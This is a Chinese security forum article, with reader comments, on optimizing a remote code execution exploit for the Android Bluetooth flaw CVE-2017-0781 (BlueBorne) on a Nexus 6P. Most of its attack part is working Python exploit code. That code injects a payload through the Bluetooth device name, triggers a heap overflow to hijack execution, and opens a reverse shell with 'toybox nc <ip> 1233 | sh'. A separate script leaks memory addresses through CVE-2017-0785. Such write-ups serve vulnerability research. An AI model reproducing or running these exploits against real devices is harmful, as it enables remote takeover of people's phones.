Android蓝牙远程命令执行漏洞利用实践: Exploit优化

thor / 2017-11-20 10:46:00 / 浏览数 4206 技术文章 技术文章 顶(0) 踩(0)

---

Author: thor@MS509Team

在上一篇文章Android蓝牙远程命令执行漏洞利用实践:从PoC到exploit中，我们介绍了Android的蓝牙远程命令执行漏洞CVE-2017-0781的漏洞利用过程，但是exploit还有
https://github.com/ArmisSecurity/blueborne，我们赶紧git
clone下来学习一波，并结合他们的一些漏洞利用思路，对我们之前的exploit进行了一些优化升级，大大提高了漏洞利用的稳定性和利用成功率。

## 0x00 测试环境

1. Android手机: Nexus 6p
2. Android系统版本: android 7.0 userdebug
3. Ubuntu 16 + USB蓝牙适配器

为了调试方便，nexus 6p刷了自己编译的AOSP 7.0 userdebug版本，google官方的release版本经测试也是可以成功利用的。

## 0x01 exploit优化

我们之前的exploit利用不够稳定主要是因为第一步远程注入payload的时候，我们暂时没有找到稳定的注入方法，只有通过堆喷方式去注入，这就导致payload不能稳定的注

`btm_cb`是`tBTM_CB`结构体类型，其定义部分内容如下：

其中有个`tACL_CONN`结构体数组，其定义部分内容如下：

其中的`remote_name`成员变量便是我们注入payload的位置。

注入payload主要用到的函数如下：

```
def set_bt_name(payload, src_hci, dst):

   MAX_BT_NAME = 0xf5
   BNEP_PSM = 15

   # Create raw HCI sock to set our BT name
   raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
   flt = bt.hci_filter_new()
   bt.hci_filter_all_ptypes(flt)
   bt.hci_filter_all_events(flt)
   raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)

   # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
   raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
   raw_sock.close()

   time.sleep(0.1)

   # Connect to BNEP to "refresh" the name (does auth)
   bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
   bnep.connect((dst, BNEP_PSM))
   bnep.close()

   # Close ACL connection
   os.system('hcitool dc %s' % (dst,))
```

其中，payload参数是我们要注入的内容，dst是目标手机的蓝牙MAC地址。

我们将注入的payload设置为：

```
payload = struct.pack('<III', 0xaaaa1722, 0x41414141, system_addr) + b'";\n' + b'toybox nc 192.168.2.1 1233 | sh ' + b'\n#'
```

运行测试注入脚本，我们通过gdb调试可以看到payload成功注入：

这里有个需要注意的地方就是payload不能包含0x00等坏字符，不然会被截断。

现在我们知道可以将payload注入到`btm_cb.acl_db`结构体的`remote_name`变量，且`btm_cb`是放在bluetooth.default.so的bss段，如下所示：

因此，我们只要知道了bluetooth.default.so在内存中加载的bss段基址，那么就可以通过基址加偏移量计算得到remote_name变量在内存中的位置，从而知道payload在内

我们优化了注入payload的方式之后，exploit的第二步不变，因此可得到优化版本的exploit脚本：

```
from pwn import *
import bluetooth,time,binascii
from bluetooth import _bluetooth as bt

libc_base = 0xecd3d000
system_addr = libc_base + 0x64a30 + 1

bluetooth_base_addr = 0xd11e2000
osi_alloc_addr = bluetooth_base_addr + 0x15b885
osi_free_addr = bluetooth_base_addr + 0x15b8e5

bluetooth_default_bss_base = 0xd139b000
acl_name_addr =  bluetooth_default_bss_base + 0xc2d24

def set_bt_name(payload, src_hci, dst):

   MAX_BT_NAME = 0xf5
   BNEP_PSM = 15

   # Create raw HCI sock to set our BT name
   raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
   flt = bt.hci_filter_new()
   bt.hci_filter_all_ptypes(flt)
   bt.hci_filter_all_events(flt)
   raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)

   # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
   raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
   raw_sock.close()

   time.sleep(0.1)

   # Connect to BNEP to "refresh" the name (does auth)
   bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
   bnep.connect((dst, BNEP_PSM))
   bnep.close()

   # Close ACL connection
   os.system('hcitool dc %s' % (dst,))

def insert_payload(src_hci, target, cmd_str):

   payload = p32(acl_name_addr+0x20)*2 + '\x01\x01\x01\x01' + p32(system_addr) + p32(acl_name_addr+0x14) + p32(osi_alloc_addr)

   set_bt_name(payload, src_hci, target)

def heap_overflow(acl_name_addr):

   pkt2 = '\x81\x01\x00'+ p32(acl_name_addr) * 8

   sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

   sock.connect((target, 0xf))

   for i in range(3000):

       sock.send(pkt2)
       data = sock.recv(1024)

   sock.close()

if __name__ == "__main__":

    if len(sys.argv) < 4:
       print 'No argvs specified.'
```

```
        sys.exit()
    src_hci = sys.argv[1]
    target = sys.argv[2]
    reverse_shell_ip = sys.argv[3]

    cmd_str = b"toybox nc %s 1233 | sh "%(reverse_shell_ip) + b"\n#"
    print "start payload insert  "
    insert_payload(src_hci, target, cmd_str)

    time.sleep(1)

    print "start heap overflow "
    heap_overflow(acl_name_addr)
```

exploit脚本中的那些硬编码的基址是可以通过信息泄露漏洞获取的，而那些硬编码的偏移量则是在libc.so和bluetooth.default.so中找到的，不同机型及系统都需要做适配。
exploit脚本测试第一步是在本地机器上运行监听反弹shell的脚本：

然后在插上蓝牙适配器的Ubuntu上运行exploit:

最后就是静等反弹shell：

经过优化后，我们的exploit一般运行1~3次便能成功执行，nice!

## 0x02 关于CVE-2017-0785信息泄露

CVE-2017-0785信息泄露漏洞网上分析有很多了，armis的exploit中也有给出他们的信息泄露脚本，这里我也把我们组@heeeeen大牛编写的脚本放出来：

```
from pwn import *
import bluetooth

pthread_start_off = 0x66a6d
sdp_conn_timer_timeout_off = 0x136350

def packet_leak(service, continuation_state):

   pkt = '\x02\x00\x00'
   pkt += p16(7 + len(continuation_state))
   pkt += '\x35\x03\x19'
   pkt += p16(service)
   pkt += '\x01\x00'
   pkt += continuation_state
   return pkt

def info_leak(target):

   service_long = 0x0100
   service_short = 0x0001
   mtu = 50
   n = 30

   sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
   bluetooth.set_l2cap_mtu(sock, mtu)
   context.endian = 'big'

   sock.connect((target, 1))

   sock.send(packet_leak(service_long, '\x00'))
   data = sock.recv(mtu)

   if data[-3] != '\x02':
       log.error('Invalid continuation state received.')

   stack = ''

   for i in range(1, n):

       sock.send(packet_leak(service_short, data[-3:]))
       data = sock.recv(mtu)
       stack += data[9:-3]
   sock.close()
```

```
    pthread_start_func = int(stack[0x0184:0x0188].encode('hex'),16)

    libc_base = pthread_start_func  -  pthread_start_off
    print "libc.so base address is %s" % hex(libc_base)

    sdp_conn_timer_timeout_func = int(stack[0x0170:0x0174].encode('hex'),16)

    bluetooth_base_addr = sdp_conn_timer_timeout_func - sdp_conn_timer_timeout_off - 1

    print "bluetooth.default.so base address is %s" % hex(bluetooth_base_addr)

    return (libc_base, bluetooth_base_addr)


if __name__ == "__main__":

      if len(sys.argv) < 2:
         print 'No argvs specified.'
         sys.exit()

      target = sys.argv[1]

      info_leak(target)
```

该脚本主要利用的是泄露的libc.so中`pthread_start`函数地址找到libc.so的加载基址，利用泄露的`sdp_conn_timer_timeout`函数地址找到bluetooth.default.so加载基

运行结果如下所示：

## 0x03 关于armis exploit的大致分析

armis官方给出的exploit主要有两个步骤，第一步是注入payload，第二步则是通过堆溢出去覆盖堆上的某些数据结构的函数指针，从而劫持进程执行。前面我们已经介绍了exploit注入payload的方法，现在我们主要介绍下他们劫持进程的思路。我们知道通过
CVE-2017-0781的堆溢出可以去覆盖堆上任意结构体的前8个字节，而armis选择了直接溢出只有8个字节大小的`list_node_t`结构体，其定义如下：

该结构体的第二个成员是个void型指针，可以根据用途转化为其他类型的指针，而恰好在
`btu_hci_msg_process`函数中会将`list_node_t`结构体的data成员强制转化为`post_to_task_hack_t`结构体类型，如下所示：

而`post_to_task_hack_t`则包含的是一个函数指针：

因此，armis的exploit通过溢出`list_node_t`结构体可以直接控制堆上的函数指针，从而达到劫持进程执行的目的。`list_node_t`结构体到`p_msg`参数的转换则是在`btu_`

`fixed_queue_dequeue`函数从队列中出队一个`list_node_t`结构体，然后转换为`p_msg`参数传递到`btu_hci_msg_process`函数进行处理。因此，只要能够控制堆上的

armis的exploit运行结果如下所示：

反弹shell如下：

armis的exploit在基址和偏移量准确的情况下，成功利用的概率很高，而且十分稳定。

## 0x04 总结

本文介绍了针对CVE-2017-0781的exploit优化思路及过程，提高了稳定性及成功率。我们也尝试了在release版本的手机上进行测试，目前暂时只在nexus 6p +
google工厂镜像上测试成功，在其他机型上暂未成功。由于不同oem厂商对系统均有所改动，且release版本手机不好调试及找寻找符号偏移量，所以适配工作还是有一定难

## 参考文献：

[1] https://github.com/ArmisSecurity/blueborne


上一篇：如何编写Chrome插件 下一篇：开发安全的 API 所需要核对的清单
1. 3 条回复


wooyun 2017-11-20 16:21:36

这么好的文章没人回复啊，师傅反弹shell的脚步也一起公布下

0 回复Ta

---


thor 2017-11-20 17:01:13

参考文献里面armis的github上有

0 回复Ta

---


北风飘然 2017-11-22 15:41:07

啊哦 能不能发个计算偏移量调试的方法介绍啊 web狗看不懂二进制啊
https://jesux.es/exploiting/blueborne-android-6.0.1-english/
这个博客说的也不错

0 回复Ta

---

登录 后跟帖

先知社区

---

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板